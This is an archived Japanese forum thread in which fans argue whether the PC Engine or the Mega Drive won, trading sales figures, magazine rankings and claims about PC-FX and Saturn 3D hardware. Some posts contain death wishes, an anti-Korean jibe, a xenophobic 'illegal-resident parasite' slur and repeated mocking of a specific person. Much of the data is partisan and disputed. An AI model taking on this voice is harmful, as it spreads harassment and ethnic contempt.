PCエンジン VS メガドライブ40戦目at RETRO2
PCエンジン VS メガドライブ40戦目 - 暇つぶし2ch2:名無しの挑戦状
13/01/19 12:04:23.00 HI8QpErv
まだやるのか?

3:名無しの挑戦状
13/01/19 12:13:47.78 KJfWwZni
ハード出荷台数
PCエンジン 372万台
CDROM2 125万台

メガドライブ 290万台
メガCD 23万台
ゲームギア 70万台

URLリンク(nesgbgg.seesaa.net)
セガハード全て合計してもPCエンジンに惨敗
邪魔なゲームマシンメガドライブがディスクシステムに続いて2位


ファミ通900号記念
「ファミ通 読者が選ぶ心のベストゲーム TOP100」
URLリンク(blogs.yahoo.co.jp)
12位 天外魔境Ⅱ 卍MARU
49位 ソニック・ザ・ヘッジホッグ
52位 イースⅠ・Ⅱ

ファミ通通巻1000号
「読者が選ぶ 未来に伝えたいゲーム」
URLリンク(blogs.yahoo.co.jp)
62位 天外II
92位 イースI・II

ソニックを始めとするメガドラゲームは一本も無し。

4:名無しの挑戦状
13/01/19 12:14:26.22 KJfWwZni
Q:現在、あなたがゲームをしている機器をお選びください。
URLリンク(japan.internet.com)
URLリンク(japan.internet.com)

プレイステーション2    414人
プレイステーション     161人
スーパーファミコン     157人
NINTENDO64        117人
ファミリーコンピューター  95人
NINTENDO GAMECUBE  66人
PCエンジン          49人  ← ハドソン&NEC
セガサターン         46人  ← セガ
ドリームキャスト       36人  ← セガ
XBOX             16人
メガドライブ         15人   ← セガ

(2009年3月4日~5日 全国20代から60代の男女1,040人。)





各ゲーム機の家庭内保有率ランキング
URLリンク(web.archive.org)

『2004CESA一般生活者調査報告書』より
1位 プレイステーション2
2位 スーパーファミコン
3位 ゲームボーイ(含カラー)

=========================

13位 PCエンジン
14位 ビジュアルメモリ
15位 Xbox
16位 メガドライブ  
17位 ゲームギア
18位 ネオジオポケット(含カラー)




【Wiiのバーチャルコンソールではどのハードのソフトを遊びたい?(2006TGS会場調べ)】

1 SFC…28.6%
2 FC…23.7%
3 N64…16.3%
4 PCE…13.6%
5 MD…11.3%
6 MSX…6.5%

ちなみにこのアンケートをとったTGSでは
テレビゲームミュージアムでMDが展示れており
未協賛のNECのハードは展示されていないという
MD優位の状況があった中での結果であることも付け加えておこう

5:名無しの挑戦状
13/01/19 12:15:06.72 KJfWwZni
第1回ゲーメスト大賞    PCE  MD
1 ダライアス          ○   ×
2 アフターバーナーII     ○   ○
3 R-TYPE            ○   ×
4 アウトラン           ○   ○
5 ドラゴンスピリット      ○   ×
6 源平討魔伝.         ○   ×
7 ストリートファイター     ○   ×
8 妖怪道中記.         ○   ×
9 1943             ○   ×
10 忍者くん 阿修羅の章   ×   ×

第2回ゲーメスト大賞    PCE  MD
1 グラディウス II        ○   ×
2 ロストワールド        ○   ○
3 超絶倫人ベラボーマン   ○   ×
4 忍者ウォーリアーズ     ○   ○
5 パワードリフト        ○   ×
6 オーダイン          ○   ×
7 A-JAX            ×   ×
8 サイバリオン         ×   ×
9 ギャラクシーフォース    ×   ×
10 最後の忍道         ○   ×

第3回ゲーメスト大賞    PCE  MD
1 テトリス            ×   ×
2 ワルキューレの伝説    ○   ×
3 ダライアス II         ○   ○
4 ストライダー飛竜       ○   ○
5 ゲイングランド        ○   ○
6 天地を喰らう         ○   ×
7 エリア88           ×   ×
8 ナイトストライカー      ×   ○
9 イメージファイト        ○   ×
10 大魔界村          ○   ○

6:名無しの挑戦状
13/01/19 12:15:37.30 KJfWwZni
『ソニック』シリーズが3月30日に配信終了
URLリンク(www.inside-games.jp)

>■メガドライブ
>・ソニック・ザ・ヘッジホッグ
>・ソニック・ザ・ヘッジホッグ2
>・ソニック&ナックルズ
>■マスターシステム
>・ソニック・ザ・ヘッジホッグ(マスターシステム版)

>配信終了日時:2012年3月30日14時59分



12月1日発売のソニック最新作が30位圏外
URLリンク(www.4gamer.net)

12月1日
「ソニック ジェネレーションズ 白の時空」(PS3 / Xbox 360)
「ソニック ジェネレーションズ 青の冒険」(3DS)
どこにも見当たらず・・・orz



マリオ&ソニック atロンドン大爆死!再びワゴンへ
スレリンク(ghard板)

セガ ソニック・ワールドアドベンチャー 1700本
URLリンク(ameblo.jp)

PS2「ファンタシースター コンプリートコレクション」 3000本
URLリンク(ameblo.jp)

セガ、欧州7ヶ国の販売部門を閉鎖
URLリンク(www.computerandvideogames.com)
内約はフランス、ドイツ、スペイン、オーストラリア、ベルギー、オランダ、ルクセンブルグ

7:名無しの挑戦状
13/01/19 12:16:36.12 KJfWwZni
岩崎氏「メディクリの天外II15万は間違い。25万以上は超えている。
     カブキ伝は50万。」


>僕は売り上げについては詳しくは知らないので100%ではありません。自分が聞いて、記憶に残っている数字ということです。
>で、一応説明しますと一番売れたのは多分カブキ伝で、これが50万本越えだったはずです。
>天外2はカブキ伝よりは下のハズです。
>ただし15万って数字よりは大きいです。メディクリのそのデータは多分間違っていて、25万は越えていたはずです。

>| 岩崎 | EMAIL | URL | 11/12/24 22:47 | wZi5/v36




【ハドソン、ファミ通 「天外魔境IIは50万本」】

1992年の2大ニュース

・「天外魔境II」の売り上げが50万本突破
          ~~~~~~~~~
・「ストリートファイターII」が大ヒット

●『天外魔境II』の売り上げが50万本を突破
URLリンク(bbs.2ch2.net)
URLリンク(bbs.2ch2.net)

なかでも大作RPG『天外魔境II 卍MARU』は50万本を超える大ヒットを記録した。
URLリンク(bbs.2ch2.net)
URLリンク(bbs.2ch2.net)

週刊ファミ通2002年5月10.17日合併号
URLリンク(www.enterbrain.co.jp)


ハドソン公式「天外はハードと同じ本数」
URLリンク(www.c-direct.ne.jp)
>当時、ハード普及台数とほぼ同数を販売するという偉業を達成


1992年にPCエンジンで発売され、今なお語り継がれる和風RPG。
PCエンジンでは50万本以上のセールスを誇り、同ハード史上No.1。
そのRPGを11年振りにPS2、GCの両機種でリメイクしたのが本作となる。
URLリンク(gamepotato.jp)

8:名無しの挑戦状
13/01/19 12:22:14.48 KJfWwZni
セガCS事業の歩み
------------------------------------------
1994年度 -45億 ←サターン発売
1995年度 -335億 ←メガドラ撤退
1996年度 -274億
1997年度 -229億 
1998年度 -105億 ←ドリキャス発売
1999年度 -430億
2000年度 -692億
2001年度 -690億  ←ハード事業撤退
2002年度 55億
2003年度 -85億
2004年度 -28億
2005年度 -88億
2006年度 19億
2007年度 17億
2008年度 -59億
2009年度 -9.4億
2010年度 63億
2011年度 19億
2012年度 -151億


SEGA関係者の証言

「サターンは結果 国内でとんとん 海外で惨敗
 メガドライブは 世界で成功したと思われてますが
 ぶっちゃけた話 トントンですよ
 最後にアメリカからデッドストックが どわーーって 帰ってきた」
URLリンク(grafx.main.jp)


セガのハード事業=金を借りるネタ

>Saturn の商業的な失敗が明らかになったとき、銀行はセガから融資を引き上げようとした。
>毎年数百億円の転換社債の返済を行っていたセガに融資を引き上げられる余裕は無かった。
>そこで、セガは Dreamcast の発売を前倒しして銀行に融資を求めてしまったのだ。
>つまり、Dreamcast は金を借りるネタにされたのだ。
>未熟な状態で発売された Dreamcast の運命は過酷であった。
>最初の一年は、PlayStation2 の最初の一年よりも酷いソフト不足に悩まされた。
>その後、ソフトが充実したもののゲームマニアの感心はすでに PlayStation2 に移っており注目されなかった。
>この時期にPlayStation の後継機が発表されることは予想できたことである。
>しかし、セガは何の対策も打てなかったのだ。

9:名無しの挑戦状
13/01/19 12:29:04.13 eMmkOEIb
     /        _
 は {      ,.x_≦二.__ \ 、
  っ >  く/:.:.:.:.:.:.:.:.:\ヽ,ゝ
 は {    /:.:.メV/斗V:.:.:.X
  っ >   へイ⌒_⌒ |介|
 は {      |卜、ヽノ ノ|「:.:!   
 .! ! >   | !:.::_丁´L!|」:::|
    {    ! //(_ノ!|{ \
⌒Y⌒`   |/〈     !| ,へ

10:名無しの挑戦状
13/01/19 13:12:32.34 2gGfU1G8
                 ζ
               , -──-、
            ,..‐'´       `ヽ、
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          V::::::::::::::::_{       ヾ:::::{
          ナ::::::::::::::i`__,,,,,,,ァ_  _,,,,,_t;;:ヌ
         イヘ::::::(ヾ~!,ャt、 !'''i ィtン )=f }f
          i {t)テ" ヘ' '___,イ ヽ_/ 介'
          ヘ_,j|!'     /ー--''!     |' 
           | |       /二ク     !
           ! 、     ヾニン   ノ  俺はたまに出没してキモオタをからかってるだけ♪
           ,.゙-‐- 、\  `__  /
        ┌、. /     ヽ  >-ー´´\     時間が空いたのは嫁と食事しに出てたから♪
         ヽ.X、- 、   ,ノi       ハ 
      ⊂>'">┐ヽノ〃     / ヘ       脂身なんかじゃない! 脂身なんかじゃない!
       入 ´// ノ        } ,..,.._',.-ァ
      /   `ー''"´      ,'  c〈〈〈っ<        なんかじゃない!!なんかじゃない!!
     /          __,,..ノ ,ノヽー'"ノ
      {          ´    /  ``¨´
    /´¨`'''‐、._        ,'\
     ∨´     `ヽ、     ノ   ゙ヽ
      ∨      ヽ _,,..-'"    `ヽ
     ∨       〈∪、.__       }
      ヽ、     }   ``7‐-.  /
          ヽ     リ    /′  ノ
          /′  , {     /   /
        {     !   ,ノ  ,/′
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          ',  /
        {   }
           ゙Y `ヽ、
            ゙ー--‐'

11:名無しの挑戦状
13/01/19 13:13:48.06 2gGfU1G8
保土ヶ谷の初老童貞である脂身57歳の生態はここにw

ゲハの轟音まとめwiki
URLリンク(www24.atwiki.jp)

12:名無しの挑戦状
13/01/19 13:41:12.43 HI8QpErv
1 名前:どすけべ学園高等部φ ★[] 投稿日:2012/03/31(土) 02:03:44.52 ID:???0
昨年のE3から続々と新ハード情報が出てきているゲーム業界だが、ハード情報といえば任天堂、マイクロソフト、ソニー製品ばかり。
そろそろこの3強以外から新ゲームハードが出て欲しいところ。過去にはアタリやバンダイ、NECからもゲームハードが出ていたのだが、
現役とは言いがたい。
皆はどこのメーカーから新ハードを出して欲しいと願っているのだろうか? そんなわけで今回も1000人を対象にアンケートを採ってみたぞ。
アンケートの内容は“新ゲームハードを作って欲しいメーカーはどこ?”というもので、「任天堂、マイクロソフト、ソニー以外で新ゲーム
ハードを作るとしたらどこに作って欲しいですか?」という設問だ。
一票しか投票できないガチ投票なので皆真剣に好きなメーカーに投票したようだ。アンケートの結果は次の通り。

1位:セガ 376 (37.6%)
2位:アップル 87 (8.7%)
3位:コナミ 67 (6.7%)
4位:スクウェア・エニックス 63 (6.3%)
5位:バンダイナムコ 49 (4.9%)
6位:カプコン 44 (4.4%)
7位:ATARI 25 (2.5%)
8位:レベルファイブ 22 (2.2%)
9位:日本一ソフトウェア 21 (2.1%)
10位:Valve(バルブ) 21 (2.1%)
11位:アトラス 20 (2%)
12位:エレクトロニック・アーツ 19 (1.9%)
13位:フロムソフトウェア 18 (1.8%)
14位:コーエーテクモゲームス 17 (1.7%)
15位:ガスト 15 (1.5%)
16位:SNKプレイモア 15 (1.5%)
17位:DeNA(モバゲー) 13 (1.3%)
18位:スパイク 12 (1.2%)
19位:日本ファルコム 10 (1%)
20位:GREE 10 (1%)

URLリンク(getnews.jp)
URLリンク(getnews.jp)

2 名前:どすけべ学園高等部φ ★[] 投稿日:2012/03/31(土) 02:03:57.51 ID:???0
なんとダントツの1位はセガ。過去に任天堂と競っていただけあって支持者はまだまだ多いようだ。2位以下はグンと票数が下がっているのが
わかる。そんなアンケートに書かれたコメントから一部を抜粋。

・やっぱセガに期待しちゃう。もう作らないって言ってるけど
・セガ復活希望。
・セガとSNKで悩んだ
・SEGA人気衰えず
・セガ強すぎ
・セガの人気に嫉妬
・実を言うと…未だにセガ派な俺…

このようにまだまだ支持者が数多くいるセガ。ハード開発から離れソフトメーカーになってから更に支持者が増えた人も多いだろう。
今もセガならではのゲームタイトルが沢山あるので、もしセガ専用ゲーム機を出したとしたら、そこそこシェアを獲得できそうな気がするが。

また、日本以上に海外のセガファンは熱狂的なので、新『ジェネシス』や『セガサターン』の復活を待っているのかもしれない。各メーカーが、
任天堂と競っていたあの頃が、一番ゲーム業界も楽しかったのかもしれないなあ……(遠い目)。

13:名無しの挑戦状
13/01/19 15:12:01.50 A1xv0ScX
6502ユーザーが必死に自作自演を繰り返すスレがあると聞いてきました

14:名無しの挑戦状
13/01/19 16:02:41.47 u+FORNpK
ハンターハンターの劇場版第二弾プロジェクトが始動したらしい。
原作は…。

15:名無しの挑戦状
13/01/19 16:28:38.27 CB+2Wtib
>新ゲームハードを作るとしたらどこに作って欲しいですか?」という設問

アップルというのが面白い。
ネット接続専門機になるだろうけれど。

16:名無しの挑戦状
13/01/19 16:37:47.26 URbKuXU3
Macもiphoneもappstoreのゲーム課金だらけだよな
もうTVゲームそのものが落ち目なんだろ

17:名無しの挑戦状
13/01/19 17:06:03.86 RRwraRT1
メガドライブはいまだに海外で愛されてるのが凄いね

18:名無しの挑戦状
13/01/19 17:13:30.93 ZlBzsdvj
脂身AAが貼れない板に移動できないのか?
何が脂身だよ、ID:2gGfU1G8 死ね!
脂身ネタつまんねえんだようぜえんだよ!死ね!死ね!ID:2gGfU1G8!
なんなんだてめえらは
人間大砲で朝鮮半島にグランダッシャーして死ねよ

19:名無しの挑戦状
13/01/19 17:14:53.47 PjxYuyeN
>>18
自分でサイト作ってそこに篭ってろ

20:名無しの挑戦状
13/01/19 18:20:14.06 h/8vMBEv
メガCD、ワンダーメガvsSUPERCD-ROM、DUOは勝負にすらなってなかったな
ハードの完成度、ソフトのラインナップ、ともに差が明らか過ぎた

21:名無しの挑戦状
13/01/19 19:55:11.03 cqzvwB//
将来の事を考えて開発してみっかのメガCDと
Huカードじゃ生き残れない、CDROMに移行しなければ!のSCD、DUOとでは意気込みも違うだろうよ。

それでもシルフィードや夢見館といった本当の意味でCDROMでしかできないゲームが
メガCDで出ているのは皮肉というか、なんというか…所詮は8bitと16bitの差なんだろうな。

22:名無しの挑戦状
13/01/19 20:10:15.96 2gGfU1G8
                 ζ
               , -──-、
            ,..‐'´       `ヽ、
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          ナ::::::::::::::i`__,,,,,,,ァ_  _,,,,,_t;;:ヌ
         イヘ::::::(ヾ~!,ャt、 !'''i ィtン )=f }f
          i {t)テ" ヘ' '___,イ ヽ_/ 介'
          ヘ_,j|!'     /ー--''!     |' 
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           ! 、     ヾニン   ノ  俺はたまに出没してキモオタをからかってるだけ♪
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      ⊂>'">┐ヽノ〃     / ヘ       脂身なんかじゃない! 脂身なんかじゃない!
       入 ´// ノ        } ,..,.._',.-ァ
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23:名無しの挑戦状
13/01/19 20:10:57.08 2gGfU1G8
みんな~ここ見てみようね~♪

ゲハの轟音まとめwiki
URLリンク(www24.atwiki.jp)

24:名無しの挑戦状
13/01/20 06:15:40.57 2kl8TdWi
3D性能

FXGA(Zバッファ)>>>>PS>>>>>>>>>SS(擬似ポリゴン)


2D性能

FXGA>PS>>>>FX>>>>>>>>SS(半透明不自由)


動画性能

FXGA、FX>>>>>>PS>>>>>>>>SS(ソフト再生)

25:名無しの挑戦状
13/01/20 07:46:47.16 afDNJKi8
>>24
スレタイ見ような

サターンとかFX、関係ね~し

26:名無しの挑戦状
13/01/20 10:17:40.20 jST9AwmL
売り上げ

PS>SS>>>>>>>>>>>>>>>>>>>>>>>>>>>FXGA、FX

27:名無しの挑戦状
13/01/20 10:28:43.96 TM7QZxIC
FXGAなんてこのスレでしったわw

28:名無しの挑戦状
13/01/20 10:37:01.66 jST9AwmL
俺もw

29:名無しの挑戦状
13/01/20 10:54:06.84 jST9AwmL
PCエンジンってなんで敗北したの?ソフトのラインナップは良かったし、ポテンシャルも高かっただろ
スレリンク(poverty板)

30:名無しの挑戦状
13/01/20 11:58:23.51 cA9L78KM
FXの相手はサターンでFXGAの相手はドリームキャストだろ

31:名無しの挑戦状
13/01/20 14:49:34.21 J2+IY7nJ
                 ζ
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           |:::::::::::::::::   £   :::::::::|
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          ナ::::::::::::::i`__,,,,,,,ァ_  _,,,,,_t;;:ヌ
         イヘ::::::(ヾ~!,ャt、 !'''i ィtン )=f }f
          i {t)テ" ヘ' '___,イ ヽ_/ 介'
          ヘ_,j|!'     /ー--''!     |' 
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           ! 、     ヾニン   ノ  俺はたまに出没してキモオタをからかってるだけ♪
           ,.゙-‐- 、\  `__  /
        ┌、. /     ヽ  >-ー´´\     時間が空いたのは嫁と食事しに出てたから♪
         ヽ.X、- 、   ,ノi       ハ 
      ⊂>'">┐ヽノ〃     / ヘ       脂身なんかじゃない! 脂身なんかじゃない!
       入 ´// ノ        } ,..,.._',.-ァ
      /   `ー''"´      ,'  c〈〈〈っ<        なんかじゃない!!なんかじゃない!!
     /          __,,..ノ ,ノヽー'"ノ
      {          ´    /  ``¨´
    /´¨`'''‐、._        ,'\
     ∨´     `ヽ、     ノ   ゙ヽ
      ∨      ヽ _,,..-'"    `ヽ
     ∨       〈∪、.__       }
      ヽ、     }   ``7‐-.  /
          ヽ     リ    /′  ノ
          /′  , {     /   /
        {     !   ,ノ  ,/′
          !    /  /   `‐-、
        !   ,/   ゙ー''' ー---'
          ',  /
        {   }
           ゙Y `ヽ、
            ゙ー--‐'

32:名無しの挑戦状
13/01/20 16:06:41.91 zbNrOo0p
URLリンク(www.youtube.com)

これでSSに3d勝ってるとかありえないからw

33:名無しの挑戦状
13/01/20 16:10:11.63 rVDWf17/
>>32
しょっぼwwww

34:名無しの挑戦状
13/01/20 16:29:31.85 P3D1Ru6N
>>21
PCEは元々CDROMの発売を前提に設計されてんのに何いってんだバカw
シルフィードがCDでないとできない?元々PCのゲームに何いってんだバカw

35:名無しの挑戦状
13/01/20 18:11:47.35 afDNJKi8
>>32
32Xに負けてるじゃねーかw

36:名無しの挑戦状
13/01/20 18:11:54.73 QtEO8wYj
 
       サンダーフォースは神聖不可侵絶対無敵の存在!!
     ┏━┓┏┳┓           .             ┏┓┏━┓┏━┓
┏┓ ┃  ┃┃┃┃         ,'⌒',          ┏━┓┃┃┃  ┃┃  ┃
┃┃ ┃  ┃┗┻┛  ┏━━ /   }.          ┗━┛┃┃┃  ┃┃  ┃
┃┃ ┃  ┃┏━┓┗━┳ l   /.━━┓     ┏┛┃┗━┛┗━┛
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┗┛ ┗━┛  ┃┣┛      /}  }   ̄l.     ┃    ┃  ┗━┛┗━┛
.          ┗┛ / ̄`丶 ノ  ー/  |  ,`ヽ    ┗━┛
      _   _ --ゝ--- 、_ `゙   !  / / /
    / ̄Y 7'´/   ` ´  >.、_ {__/_,ノ_/}
   / , - (7′'    /| lト、  ヽ 〈 、` ー‐'´ /
   {/ .:.:::/ / , -‐.::// 十‐|:、 .:.∨\ ー一 イ
   {:.:/::l|  l.:.::厶イ / ,ィュェ」1:./    ̄ ̄ /
   Vレ l|.:.:::l//イ_jl    fr_jl Yl/       /
     丶N} 弋rソ    弋rソ  |      /
      {乂 ´ ャ―‐1 ´  /       /
      /ゝム.   V  l   /    /}
      乂 .:.::\  一'  /|     |ノ
      // /:::::::::::>--- イ/|     l
       レ∨{ ::l:::::ト、::∧//l   /   |
         ヽ}≧yソ/ イ| { 、    /}
         // f ̄「「- {/ \\   //

37:名無しの挑戦状
13/01/20 18:27:51.87 rVDWf17/
参考
32Xの技術デモ

URLリンク(www.youtube.com)

38:名無しの挑戦状
13/01/20 18:58:34.65 afDNJKi8
訂正しといたわw

3D性能

PS>>>>SS>>>>>>>>>FXGA(32Xにすら負けるwww)


2D性能

SS>>>>>>>>PS>>>>>>>>>>FXGA


動画性能

FXGA、FX>>>>>>PS>>>>>>>>SS(ソフト再生)

39:名無しの挑戦状
13/01/20 20:08:38.94 XcklJ11U
>>34
コア構想を捨てて、CDROMへの移行を図ったのをお忘れかw

40:名無しの挑戦状
13/01/20 20:38:17.67 1GQxh5nD
二年前の今頃は衝撃が走って涙に暮れたな。

41:名無しの挑戦状
13/01/20 20:53:43.10 Mw4koMtp
>>32
本ソフトウェアは営利目的ではないと断わっているから
片手間で作りました、みたいなシンプルなんじゃじゃないの?
キャラを肉付けしたり背景を拘ったりと、
本気で装飾していけば、動きとかそれなりに良さそうだと思うけれど

42:名無しの挑戦状
13/01/20 20:56:06.15 2kl8TdWi
世界初のCDROMマシンとして世のゲーマーに衝撃を与え
家庭用CDROMといえばPCE、と
次世代のPSにバトンを渡すまでCDROMマシンのスタンダードとして君臨し続けた名機であり

50万本の天外IIというバケモノを生み出したPCEと


CDROM2の成功の後追いをしようとして3年遅れで発売するも
色数がMDから進歩がなく動画が全てファミコン以下でユーザーを失望させ
MDユーザーの1/10以下しか買わなかったMCDとでは格が違いすぎる

43:名無しの挑戦状
13/01/20 21:02:07.53 2kl8TdWi
>>41
片手間で作った物だが
サターンより高性能であることは容易に見て取れるな


一見簡素なデモに見えるが

サターンのバーチャファイターと比較した場合
サターンでは不可能な
グーローシェーディングで細かなグラデーション処理が施されておりキャラに立体感があるし
地形をBGで誤魔化していたサターンと違い、このデモはフィールドがポリゴンで描写されている


そもそもサターンはポリゴンではなく四角形の変形スプライトで擬似的に再現している代物だし
Zバッファもサポートされていないので3Dマシンとは言い難い部分がある


カタログスペックを見ても、実効ポリゴン数でサターン以上
Zバッファ等をサポートしており
明らかに高性能、高機能であることは疑いようがない




 

44:名無しの挑戦状
13/01/20 21:10:30.41 hSKVjnls
やたら詳しいなこの人

45:名無しの挑戦状
13/01/20 21:14:45.36 2kl8TdWi
FXGAは上記のグーローシェーディングやZバッファに加え

反射光を再現するスペキュラ、環境ライティングもサポートされているので
サターンとは明らかに次元が違う、一世代先のリッチな画作りができることは確実だ

64のようなバイリニアフィルタやアンチエイリアシングは実装されていないので
機能面で見ればPS以上、64以下ということになるだろう

46:名無しの挑戦状
13/01/20 21:37:19.40 NMFQhdbO
そろそろ総出でメガドラスレを潰してやるべきかも知れんな

47:名無しの挑戦状
13/01/20 22:51:40.94 1GQxh5nD
性能よりも普及台数ですよ。結局は。
性能よりもソフト数ですよ。結局は。
そういう意味ではFXの方が貴重だな、数が少ないからね。
ネタ的な珍品としてだが。

48:名無しの挑戦状
13/01/20 23:07:08.07 rVDWf17/
いつまでマイナーなパソコンの拡張ボードを出してくるんだろう
コンシューマーで勝てなくなるとPCもちだして来るのはいつもの癖だな

49:名無しの挑戦状
13/01/21 00:48:45.70 xFpLlzLW
6502エアユーザーが必死なスレがあると聞いてきました

50:名無しの挑戦状
13/01/21 01:11:35.19 MezjqKY5
何で PCE 派ってこんなのばっかりなの?

スレリンク(retro2板:374-376番)

51:名無しの挑戦状
13/01/21 01:51:38.88 YJ0Ox91q
>>50
そういう台詞は、税金納めてから言えよ
3代続いて不法滞在の寄生虫の分際で、人間様見下してんじゃねーよ豚

52:名無しの挑戦状
13/01/21 06:16:29.39 ox9mT7CX
>>44
俺は業界の人と見ている
口は悪いが荒らしの間違った知識が出ると大抵その修正に現れる
このスレ的には重要じゃないかな

53:名無しの挑戦状
13/01/21 07:16:38.06 MezjqKY5
間違った知識っていうのは、>>24 みたいなのでは。

54:名無しの挑戦状
13/01/21 07:23:23.74 tXpG2KC2
間違ってるのはスレタイ読めないバカだろ?

55:名無しの挑戦状
13/01/21 07:24:37.32 sTo5QgpY
FXの話出るごとにPCE派としては耳が痛いのだが……
頼むからあれだけは忘れさせてくれ
FXに触れられるならまだSGのほうがいい

56:名無しの挑戦状
13/01/21 07:27:12.36 zFudj8Ur
もうPCエンジン関係ね~しw
FXGAとか幻のカード出すなよ
サターン、PSの発売時期に間に合わなかったんだし、その時期のハードと比べたらダメだろw

57:名無しの挑戦状
13/01/21 09:26:39.95 tXpG2KC2
>>55
PCE派はFXの事なんて何とも思ってないんだけど?
セガ信者はFXの事を持ち出せばPCE派が悔しがるとでも思ってるのかw

PCE信者はいてもNEC信者なんて皆無ってのをまだ理解できないのかな?

58:名無しの挑戦状
13/01/21 10:55:43.76 Y8FJ3J/O
FXもSSもPSも別板でやれってんだ、バカども。

59:名無しの挑戦状
13/01/21 11:38:13.46 PfMya/fv
FXみたいな低性能マシンを出したこと自体が間違い

60:名無しの挑戦状
13/01/21 11:44:17.57 JTtBEk6o
別にFXが低性能ってわけじゃないよ。
時代の空気を読めなかった馬鹿ハードってだけ。

61:名無しの挑戦状
13/01/21 12:37:23.03 sTo5QgpY
>>57
お前こそセガ信者なんじゃないの?
PCEに勝てないからってFX持ち出すとかやり方汚いですねw

62:名無しの挑戦状
13/01/21 12:40:47.81 371uuW+l
メガドライブは勝ったし
サターンは完全勝利だった

63:名無しの挑戦状
13/01/21 13:08:55.35 rMH945Z0
社会に出れなかった引き籠り初老豚57歳がゲーム専門家(笑)気取りとかwwwwwwwww

64:名無しの挑戦状
13/01/21 14:34:53.61 PfMya/fv
SSは64より売れたから勝ちハードといっても良いな

65:名無しの挑戦状
13/01/21 15:42:34.02 OcO5lcDR
世界的ゲームメーカーと、
もともとエロゲーメーカーの差がでてしまったな。

66:名無しの挑戦状
13/01/21 16:36:28.80 YMbNkWWx
SSが勝ったとしても>>64>>65の自演初老童貞が
人生の負け組犯罪者なのは揺るがない

67:名無しの挑戦状
13/01/21 17:45:03.69 ZNw+CElU
>>44
X68k関係の開発に関わっていたとか言っていた人じゃないかな。
彼らの業界にとって良心的価格で普及していくMDは、
最強の商売敵だったってことだろうけれど。

68:名無しの挑戦状
13/01/21 18:04:03.65 OcO5lcDR
いま彼女の乳が揺れた。
で、メガドライブとPCヘンジンはどっちがかったの?名人に捨てられたメーカーは今必死に、このスレに書き込んでいるの?
バレてますよ。

69:名無しの挑戦状
13/01/21 18:44:02.55 YLRUIpBJ
前スレ850の発言主です
あれ以降FXGAについて色々語られているようですが、
私は850以降書き込みをしていませんのでその点まず申しておきます。

幾つかの書き込みにて明らかな間違いや
誤解を生むような表現があるので訂正・補足しておきます

>FXGAの技術デモについて
技術デモというのはそのハードで出来る事を視覚的にわかり易く見せる事を
目的に製作されます。ハードの行く末を左右する性質のもののため
「片手間で手抜き製作したデモ」を作る事は絶対にありません
過去、「プレイステーションの恐竜デモ」「64のFFバトルシーンデモ」
「ドリームキャストの城塞都市デモ」「PS2のFF、リッジデモ」等幾つか技術デモが
公開されていますが「ハードが持っている機能を殆ど織り込まない
片手間で手抜き製作したデモ」が何か一つでもありましたか?
答えは「NO!]です。
メーカーが敢えて「期待を削ぐようなもの」を公開する事などありえないのです。
従ってあのFXGAデモは「FXGAの実行性能を示すデモ」と捕らえて問題無いでしょう

>サターンでは不可能なグーローシェーディング
出来ます。
グーローシェーディングを多用したサターンソフトは複数市販されています。

>地形をBGで誤魔化したサターンと違い、
>このデモはフィールドがポリゴンで描写されている
SSのBGは3軸回転が出来る非常に高機能なものです
「巨大な1枚ポリゴン」を想像してもらえれば分かり易いでしょう。それが2面あります
この機能をポリゴンで代用するとしたらとてつもない数のポリゴンを消費します
仮にPSが全力で処理してもSSの3軸回転BG1面分の面積すら表示出来ないでしょう
SSバーチャのリングがFXGAデモの単なるワイヤーフレームのリングに劣っている
かの様な表現は完全に印象操作です。

>サターンはポリゴンではなく四角形の変形スプライトで擬似的に再現している代物
ポリゴンには本来「多角形」という意味しかなく、現在に至る全てのハードが
最終的にフレームバッファに書き込まれたデータを表示しているだけに過ぎません
最終的に表示される絵が同じなら目に消えない処理過程など関係ありません
「ミネラルウォーターは水だが水道水は川をろ過したものだから水ではない」
などと言うのと同レベルの発言です。

>カタログスペックを見ても、実効ポリゴン数でサターン以上
FXGAの10万ポリゴンというのは実行値ではなく理論値です
SSなら30万、PSなら36万という数値と比べるべき数値です
因みに私が前スレ850で書いたサターンの6万ポリゴンという数値は実行値です
実際、バーチャ2の開発者が紙面にて「1キャラあたり約450ポリゴンで2体、
人物キャラ以外で100ポリゴン程度」と発言しています
合わせて450+450+100*60(フレーム)=6万
PSはエフェクトを多用した場合10万、テクスチャ+光源処理程度の場合で15万程の
実行値が出ます。

>Zバッファもサポートされていないので3Dマシンとは言い難い部分がある
これに関しては私も一理あると思います
Zバッファを持たないサターンとPS1は3D空間の座標上で2個のキャラ(ポリゴン)が
重なった場合どちらを手前にして表示させるかしか選択肢がありません
これでは3Dとして表示に矛盾が生じる場合が出てきます
ただ、パワードリフトやギャラクシーフォースの様な擬似3D(2.5D)とは次元の異なる
話ですので3Dマシンとは言い難いと言い切るのは無理があるでしょう。

70:名無しの挑戦状
13/01/21 18:49:46.44 YLRUIpBJ
>FXGAはZバッファに加え反射光を再現するスペキュラ、環境ライティングもサポート
これは事実です。では何故FXGAは上で挙がったデモのようなレベルの低い
3D画面しか出せないのか? これには理由があります。
実はこの頃の世代のゲームハードに搭載されているグラフィックチップはチップの
描画性能を最大限生かすためには強力な演算性能を備えたCPU等が必要不可欠
事実、サターンはCPU内にベクトル演算器を搭載し、プレイステーションもCPUの他に
GTEという強力なベクトル演算器を搭載している。64に至ってはグラフィックチップ内に
32ビットRISCコアを内蔵しメインCPUの力を借りずともグラフィック及びサウンドなど
殆どの処理をグラフィックチップだけでも処理出来る構造になっている。
FXGAはPSのような強力なベクトル演算器を別途搭載している事もなく
サターンのようにCPU内にベクトル演算器を搭載している事もない
グラフィックチップに幾ら素晴らしい機能があろうがそれを生かすための演算能力が
無いのでは話にならない。
ペーパードライバーがレーシングカーを所有してるようなもの
メインCPUにNECのV810など採用せずに日立にSH2でも分けて貰っていた方が
余程良かった。
まあ、それ以前にFXGAはPC-FXとは別ハードなのでこんな事考えるだけ無駄だけど

でもねPC-FXが低性能って認識は間違いだと言っておきたい。
タイムラグも殆ど無しにフルカラー(1677万色)320*240ドットの画面を秒間30フレーム
表示出来るってかなり凄い事。
ムービーカードがあればサターンにも可能だけど別売りで19800円もした代物
モーションJPEGならPSでも処理できるよって言う人も居るけど実際にPSが処理できる
モーションJPEGなんて処理速度なんかの関係で15bitカラーで15~20フレーム位が
限界でPC-FXには遠く及ばない
低性能というよりは完全に方向性を読み誤ったハードだと思いますね

71:名無しの挑戦状
13/01/21 19:00:35.58 OcO5lcDR
そのコピペ飽きたから。

72:名無しの挑戦状
13/01/21 19:11:05.01 Hm21wImM
無職童貞脂身豚男57歳
